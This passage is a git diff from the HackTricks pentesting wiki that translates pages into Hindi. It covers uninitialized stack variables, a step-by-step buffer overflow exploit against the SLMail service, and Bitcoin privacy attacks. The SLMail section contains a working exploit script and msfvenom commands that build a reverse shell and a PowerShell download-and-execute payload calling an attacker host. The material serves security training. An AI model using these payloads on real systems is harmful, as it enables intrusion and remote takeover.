उठाकर कार्यक्रम के निष्पादन प्रवाह को बदल सकते हैं, जिससे उन्हें मनमाने कोड को निष्पादित करने की अनुमति मिलती है, जिसमें दूरस्थ कोड निष्पादन खतरों को शामिल किया जा सकता है। ### Example - ```c #include // Function to initialize and print a variable void initializeAndPrint() { - int initializedVar = 100; // Initialize the variable - printf("Initialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); +int initializedVar = 100; // Initialize the variable +printf("Initialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); } // Function to demonstrate the behavior of an uninitialized variable void demonstrateUninitializedVar() { - int uninitializedVar; // Declare but do not initialize - printf("Uninitialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); +int uninitializedVar; // Declare but do not initialize +printf("Uninitialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); } int main() { - printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); +printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); - // First, call the function that initializes its variable - initializeAndPrint(); +// First, call the function that initializes its variable +initializeAndPrint(); - // Then, call the function that has an uninitialized variable - demonstrateUninitializedVar(); +// Then, call the function that has an uninitialized variable +demonstrateUninitializedVar(); - return 0; +return 0; } ``` +#### यह कैसे काम करता है: -#### How This Works: +- **`initializeAndPrint` फ़ंक्शन**: यह फ़ंक्शन एक पूर्णांक चर `initializedVar` घोषित करता है, इसे `100` का मान सौंपता है, और फिर चर के मेमोरी पते और मान को प्रिंट करता है। यह कदम सीधा है और दिखाता है कि एक प्रारंभिक चर कैसे व्यवहार करता है। +- **`demonstrateUninitializedVar` फ़ंक्शन**: इस फ़ंक्शन में, हम एक पूर्णांक चर `uninitializedVar` घोषित करते हैं बिना इसे प्रारंभ किए। जब हम इसके मान को प्रिंट करने का प्रयास करते हैं, तो आउटपुट एक यादृच्छिक संख्या दिखा सकता है। यह संख्या उस मेमोरी स्थान पर पहले से मौजूद डेटा का प्रतिनिधित्व करती है। वातावरण और संकलक के आधार पर, वास्तविक आउटपुट भिन्न हो सकता है, और कभी-कभी, सुरक्षा के लिए, कुछ संकलक स्वचालित रूप से चर को शून्य पर प्रारंभ कर सकते हैं, हालांकि इस पर भरोसा नहीं किया जाना चाहिए। +- **`main` फ़ंक्शन**: `main` फ़ंक्शन उपरोक्त दोनों फ़ंक्शनों को अनुक्रम में कॉल करता है, एक प्रारंभिक चर और एक अप्रारंभिक चर के बीच का अंतर प्रदर्शित करता है। -- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. -- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon. -- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one. +## ARM64 उदाहरण -## ARM64 Example - -This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. +यह ARM64 में बिल्कुल नहीं बदलता है क्योंकि स्थानीय चर भी स्टैक में प्रबंधित होते हैं, आप [**इस उदाहरण की जांच कर सकते हैं**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) जहाँ यह दिखाया गया है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index fb6f62862..88511cd9a 100644 --- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **SLMail सेवा स्थापित करना शुरू करें** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## SLMail सेवा को पुनः प्रारंभ करें +हर बार जब आपको **SLMail सेवा को पुनः प्रारंभ** करने की आवश्यकता होती है, तो आप इसे विंडोज कंसोल का उपयोग करके कर सकते हैं: ``` net start slmail ``` - ![](<../images/image (988).png>) -## Very basic python exploit template - +## बहुत बुनियादी पायथन एक्सप्लॉइट टेम्पलेट ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **इम्युनिटी डिबगर फ़ॉन्ट बदलें** -## **Change Immunity Debugger Font** +`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` पर जाएं -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **इम्युनिटी डिबगर से प्रक्रिया को संलग्न करें:** **File --> Attach** ![](<../images/image (869).png>) -**And press START button** +**और START बटन दबाएं** -## **Send the exploit and check if EIP is affected:** +## **एक्सप्लॉइट भेजें और जांचें कि क्या EIP प्रभावित है:** ![](<../images/image (906).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +जब भी आप सेवा को तोड़ते हैं, तो आपको इसे फिर से शुरू करना चाहिए जैसा कि इस पृष्ठ की शुरुआत में संकेतित है। -## Create a pattern to modify the EIP +## EIP को संशोधित करने के लिए एक पैटर्न बनाएं -The pattern should be as big as the buffer you used to broke the service previously. +पैटर्न उतना बड़ा होना चाहिए जितना कि बफर जो आपने पहले सेवा को तोड़ने के लिए उपयोग किया था। ![](<../images/image (420).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +बफर को बदलें और पैटर्न सेट करें और एक्सप्लॉइट लॉन्च करें। -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +एक नया क्रैश दिखाई देना चाहिए, लेकिन एक अलग EIP पते के साथ: ![](<../images/image (636).png>) -Check if the address was in your pattern: +जांचें कि क्या पता आपके पैटर्न में था: ![](<../images/image (418).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +ऐसा लगता है कि **हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं।** -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +शोषण के बफर को संशोधित करके इसे जांचें: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +इस बफर के साथ EIP क्रैश 42424242 ("BBBB") की ओर इशारा करना चाहिए। ![](<../images/image (874).png>) ![](<../images/image (92).png>) -Looks like it is working. +लगता है कि यह काम कर रहा है। -## Check for Shellcode space inside the stack +## स्टैक के अंदर Shellcode स्थान की जांच करें -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B किसी भी शक्तिशाली shellcode के लिए पर्याप्त होना चाहिए। +आइए बफर को बदलते हैं: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +नए एक्सप्लॉइट को लॉन्च करें और EBP और उपयोगी शेलकोड की लंबाई की जांच करें ![](<../images/image (119).png>) ![](<../images/image (879).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +आप देख सकते हैं कि जब भेद्यता तक पहुंचा जाता है, तो EBP शेलकोड की ओर इशारा कर रहा है और हमारे पास यहां शेलकोड रखने के लिए बहुत जगह है। -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +इस मामले में हमारे पास **0x0209A128 से 0x0209A2D6 = 430B.** पर्याप्त है। -## Check for bad chars - -Change again the buffer: +## खराब वर्णों की जांच करें +फिर से बफर बदलें: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +बदचर 0x01 से शुरू होता है क्योंकि 0x00 लगभग हमेशा खराब होता है। -The badchars starts in 0x01 because 0x00 is almost always bad. +इस नए बफर के साथ बार-बार एक्सप्लॉइट को निष्पादित करें, उन अक्षरों को हटाते हुए जो बेकार पाए जाते हैं: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +उदाहरण के लिए: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +इस मामले में आप देख सकते हैं कि **आपको अक्षर 0x0A का उपयोग नहीं करना चाहिए** (कुछ भी मेमोरी में सहेजा नहीं गया क्योंकि अक्षर 0x09 है)। ![](<../images/image (111).png>) -In this case you can see that **the char 0x0D is avoided**: +इस मामले में आप देख सकते हैं कि **अक्षर 0x0D से बचा जाता है**: ![](<../images/image (1098).png>) -## Find a JMP ESP as a return address - -Using: +## एक वापसी पते के रूप में JMP ESP खोजें +उपयोग करते हुए: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +आप **मेमोरी मैप्स** की **सूची** बनाएंगे। कुछ DLl खोजें जिनमें: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (555).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स मिलनी चाहिए, ऐसा करने के लिए निष्पादित करें: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**फिर, यदि कोई पता पाया जाता है, तो एक ऐसा चुनें जिसमें कोई badchar न हो:** ![](<../images/image (605).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**इस मामले में, उदाहरण के लिए: \_0x5f4a358f**\_ +## शेलकोड बनाएं ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन इसे काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड पहुंचा है), तो अन्य शेलकोड बनाने की कोशिश करें (msfvenom के साथ समान पैरामीटर के लिए विभिन्न शेलकोड बनाएं)। -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**शेलकोड की शुरुआत में कुछ NOPS जोड़ें** और इसका उपयोग करें और रिटर्न एड्रेस को JMP ESP करने के लिए, और एक्सप्लॉइट को समाप्त करें: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> कुछ शेलकोड हैं जो **अपने आप को ओवरराइट** कर देंगे, इसलिए शेलकोड से पहले हमेशा कुछ NOPs जोड़ना महत्वपूर्ण है -## Improving the shellcode - -Add this parameters: +## शेलकोड में सुधार +इन पैरामीटर को जोड़ें: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index c897d0035..f5f215002 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,180 +1,176 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Concepts +## मूल अवधारणाएँ -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **स्मार्ट कॉन्ट्रैक्ट्स** को उन प्रोग्रामों के रूप में परिभाषित किया जाता है जो एक ब्लॉकचेन पर तब निष्पादित होते हैं जब कुछ शर्तें पूरी होती हैं, मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं। +- **विकेंद्रीकृत अनुप्रयोग (dApps)** स्मार्ट कॉन्ट्रैक्ट्स पर आधारित होते हैं, जिनमें उपयोगकर्ता के अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिट करने योग्य बैक-एंड होता है। +- **टोकन और सिक्के** में अंतर होता है, जहाँ सिक्के डिजिटल पैसे के रूप में कार्य करते हैं, जबकि टोकन विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं। +- **यूटिलिटी टोकन** सेवाओं तक पहुँच प्रदान करते हैं, और **सिक्योरिटी टोकन** संपत्ति के स्वामित्व का संकेत देते हैं। +- **DeFi** का अर्थ विकेंद्रीकृत वित्त है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है। +- **DEX** और **DAOs** क्रमशः विकेंद्रीकृत एक्सचेंज प्लेटफार्मों और विकेंद्रीकृत स्वायत्त संगठनों को संदर्भित करते हैं। -## Consensus Mechanisms +## सहमति तंत्र -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +सहमति तंत्र ब्लॉकचेन पर सुरक्षित और सहमति से लेनदेन की मान्यता सुनिश्चित करते हैं: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **प्रूफ ऑफ वर्क (PoW)** लेनदेन की सत्यापन के लिए कंप्यूटेशनल शक्ति पर निर्भर करता है। +- **प्रूफ ऑफ स्टेक (PoS)** सत्यापनकर्ताओं से एक निश्चित मात्रा में टोकन रखने की मांग करता है, जो PoW की तुलना में ऊर्जा की खपत को कम करता है। -## Bitcoin Essentials +## बिटकॉइन आवश्यकताएँ -### Transactions +### लेनदेन -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +बिटकॉइन लेनदेन में पते के बीच धन का हस्तांतरण शामिल होता है। लेनदेन को डिजिटल हस्ताक्षरों के माध्यम से मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल निजी कुंजी का मालिक ही हस्तांतरण शुरू कर सकता है। -#### Key Components: +#### प्रमुख घटक: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **मल्टीसिग्नेचर लेनदेन** को एक लेनदेन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है। +- लेनदेन में **इनपुट** (धन का स्रोत), **आउटपुट** (गंतव्य), **शुल्क** (खननकर्ताओं को भुगतान किया गया), और **स्क्रिप्ट** (लेनदेन के नियम) शामिल होते हैं। -### Lightning Network +### लाइटनिंग नेटवर्क -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +बिटकॉइन की स्केलेबिलिटी को बढ़ाने का लक्ष्य है, जिससे एक चैनल के भीतर कई लेनदेन किए जा सकें, केवल अंतिम स्थिति को ब्लॉकचेन पर प्रसारित किया जाए। -## Bitcoin Privacy Concerns +## बिटकॉइन गोपनीयता चिंताएँ -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +गोपनीयता हमले, जैसे **कॉमन इनपुट ओनरशिप** और **UTXO चेंज एड्रेस डिटेक्शन**, लेनदेन के पैटर्न का लाभ उठाते हैं। **मिक्सर्स** और **कोइनजॉइन** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेनदेन के लिंक को अस्पष्ट करके गुमनामी में सुधार करती हैं। -## Acquiring Bitcoins Anonymously +## बिटकॉइन को गुमनाम रूप से प्राप्त करना -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +विधियों में नकद व्यापार, खनन, और मिक्सर्स का उपयोग शामिल है। **कोइनजॉइन** कई लेनदेन को मिलाकर ट्रेसबिलिटी को जटिल बनाता है, जबकि **पे-जॉइन** कोइनजॉइन को नियमित लेनदेन के रूप में छिपाता है ताकि गोपनीयता बढ़ सके। -# Bitcoin Privacy Atacks +# बिटकॉइन गोपनीयता हमले -# Summary of Bitcoin Privacy Attacks +# बिटकॉइन गोपनीयता हमलों का सारांश -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +बिटकॉइन की दुनिया में, लेनदेन की गोपनीयता और उपयोगकर्ताओं की गुमनामी अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का सरल अवलोकन है जिनके माध्यम से हमलावर बिटकॉइन की गोपनीयता को खतरे में डाल सकते हैं। -## **Common Input Ownership Assumption** +## **कॉमन इनपुट ओनरशिप अनुमान** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +यह सामान्यतः दुर्लभ है कि विभिन्न उपयोगकर्ताओं के इनपुट को एक ही लेनदेन में जोड़ा जाए क्योंकि इसमें जटिलता होती है। इसलिए, **एक ही लेनदेन में दो इनपुट पते अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**। -## **UTXO Change Address Detection** +## **UTXO चेंज एड्रेस डिटेक्शन** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +एक UTXO, या **अनस्पेंट ट्रांजैक्शन आउटपुट**, को एक लेनदेन में पूरी तरह से खर्च किया जाना चाहिए। यदि इसका केवल एक भाग किसी अन्य पते पर भेजा जाता है, तो शेष एक नए चेंज पते पर जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता भेजने वाले का है, जिससे गोपनीयता का उल्लंघन होता है। -### Example +### उदाहरण -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +इससे बचने के लिए, मिक्सिंग सेवाएँ या कई पते का उपयोग स्वामित्व को अस्पष्ट करने में मदद कर सकते हैं। -## **Social Networks & Forums Exposure** +## **सोशल नेटवर्क और फोरम का प्रदर्शन** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +उपयोगकर्ता कभी-कभी अपने बिटकॉइन पते को ऑनलाइन साझा करते हैं, जिससे **पते को उसके मालिक से जोड़ना आसान हो जाता है**। -## **Transaction Graph Analysis** +## **लेनदेन ग्राफ विश्लेषण** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +लेनदेन को ग्राफ के रूप में दृश्य रूप में प्रस्तुत किया जा सकता है, जो उपयोगकर्ताओं के बीच संभावित संबंधों को धन के प्रवाह के आधार पर प्रकट करता है। -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **अनावश्यक इनपुट ह्यूरिस्टिक (ऑप्टिमल चेंज ह्यूरिस्टिक)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +यह ह्यूरिस्टिक कई इनपुट और आउटपुट वाले लेनदेन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा आउटपुट भेजने वाले को वापस लौटने वाला परिवर्तन है। +### उदाहरण ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +यदि अधिक इनपुट जोड़ने से परिवर्तन आउटपुट किसी एकल इनपुट से बड़ा हो जाता है, तो यह ह्यूरिस्टिक को भ्रमित कर सकता है। -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **फोर्स्ड एड्रेस रीयूज़** -## **Forced Address Reuse** +हमलावर पहले से उपयोग किए गए पते पर छोटे-छोटे अमाउंट भेज सकते हैं, यह उम्मीद करते हुए कि प्राप्तकर्ता भविष्य के लेनदेन में इन्हें अन्य इनपुट के साथ मिलाएगा, जिससे पते आपस में जुड़े रहेंगे। -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### सही वॉलेट व्यवहार -### Correct Wallet Behavior +वॉलेट को पहले से उपयोग किए गए, खाली पते पर प्राप्त किए गए सिक्कों का उपयोग करने से बचना चाहिए ताकि इस गोपनीयता लीक को रोका जा सके। -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **अन्य ब्लॉकचेन विश्लेषण तकनीकें** -## **Other Blockchain Analysis Techniques** +- **सटीक भुगतान राशि:** बिना परिवर्तन के लेनदेन संभवतः एक ही उपयोगकर्ता के दो पते के बीच होते हैं। +- **गोल नंबर:** लेनदेन में गोल संख्या यह सुझाव देती है कि यह एक भुगतान है, जिसमें गैर-गोल आउटपुट संभवतः परिवर्तन है। +- **वॉलेट फिंगरप्रिंटिंग:** विभिन्न वॉलेट के पास लेनदेन निर्माण के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषकों को उपयोग किए गए सॉफ़्टवेयर और संभावित परिवर्तन पते की पहचान करने की अनुमति मिलती है। +- **राशि और समय संबंध:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है। -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **ट्रैफिक विश्लेषण** -## **Traffic Analysis** +नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभावित रूप से लेनदेन या ब्लॉकों को आईपी पते से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता का उल्लंघन होता है। यह विशेष रूप से सच है यदि कोई इकाई कई बिटकॉइन नोड्स संचालित करती है, जिससे उनके लेनदेन की निगरानी करने की क्षमता बढ़ जाती है। -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## अधिक -## More +गोपनीयता हमलों और रक्षा के लिए एक व्यापक सूची के लिए, [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) पर जाएं। -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# गुमनाम बिटकॉइन लेनदेन -# Anonymous Bitcoin Transactions +## गुमनाम रूप से बिटकॉइन प्राप्त करने के तरीके -## Ways to Get Bitcoins Anonymously +- **नकद लेनदेन**: नकद के माध्यम से बिटकॉइन प्राप्त करना। +- **नकद विकल्प**: उपहार कार्ड खरीदना और उन्हें ऑनलाइन बिटकॉइन के लिए बदलना। +- **माइनिंग**: बिटकॉइन कमाने का सबसे निजी तरीका माइनिंग है, विशेष रूप से जब इसे अकेले किया जाता है क्योंकि माइनिंग पूल माइनर के आईपी पते को जान सकते हैं। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **चोरी**: सिद्धांत रूप से, बिटकॉइन चुराना गुमनाम रूप से इसे प्राप्त करने का एक और तरीका हो सकता है, हालांकि यह अवैध है और अनुशंसित नहीं है। -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## मिक्सिंग सेवाएँ -## Mixing Services +मिक्सिंग सेवा का उपयोग करके, एक उपयोगकर्ता **बिटकॉइन भेज सकता है** और **वापस में विभिन्न बिटकॉइन प्राप्त कर सकता है**, जिससे मूल मालिक को ट्रेस करना कठिन हो जाता है। फिर भी, इसके लिए सेवा पर भरोसा करना आवश्यक है कि वह लॉग नहीं रखेगी और वास्तव में बिटकॉइन वापस करेगी। वैकल्पिक मिक्सिंग विकल्पों में बिटकॉइन कैसीनो शामिल हैं। -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +## कॉइनजॉइन -## CoinJoin +**कॉइनजॉइन** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे किसी के लिए इनपुट को आउटपुट से मिलाना जटिल हो जाता है। इसके प्रभावी होने के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन को अभी भी संभावित रूप से ट्रेस किया जा सकता है। -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +उदाहरण लेनदेन जो कॉइनजॉइन का उपयोग कर सकते हैं उनमें `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` शामिल हैं। -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +अधिक जानकारी के लिए, [CoinJoin](https://coinjoin.io/en) पर जाएं। एथेरियम पर समान सेवा के लिए, [Tornado Cash](https://tornado.cash) देखें, जो माइनर्स के फंड से लेनदेन को गुमनाम बनाता है। -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. - -## PayJoin - -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. +## पे-जॉइन +कॉइनजॉइन का एक रूप, **पे-जॉइन** (या P2EP), दो पक्षों (जैसे, एक ग्राहक और एक व्यापारी) के बीच लेनदेन को एक सामान्य लेनदेन के रूप में छुपाता है, बिना कॉइनजॉइन की विशिष्ट समान आउटपुट विशेषता के। यह इसे पहचानना अत्यंत कठिन बनाता है और लेनदेन निगरानी संस्थाओं द्वारा उपयोग की जाने वाली सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को अमान्य कर सकता है। ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +उपरोक्त लेनदेन PayJoin हो सकते हैं, जो गोपनीयता को बढ़ाते हैं जबकि मानक बिटकॉइन लेनदेन से भिन्न नहीं होते। -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoin का उपयोग पारंपरिक निगरानी विधियों को महत्वपूर्ण रूप से बाधित कर सकता है**, जो लेनदेन की गोपनीयता की खोज में एक आशाजनक विकास है। -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# क्रिप्टोक्यूरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ -# Best Practices for Privacy in Cryptocurrencies +## **वॉलेट समन्वय तकनीकें** -## **Wallet Synchronization Techniques** +गोपनीयता और सुरक्षा बनाए रखने के लिए, ब्लॉकचेन के साथ वॉलेट का समन्वय करना महत्वपूर्ण है। दो विधियाँ प्रमुख हैं: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **पूर्ण नोड**: पूरे ब्लॉकचेन को डाउनलोड करके, एक पूर्ण नोड अधिकतम गोपनीयता सुनिश्चित करता है। सभी लेनदेन जो कभी किए गए हैं, स्थानीय रूप से संग्रहीत होते हैं, जिससे प्रतिकूलों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किस लेनदेन या पते 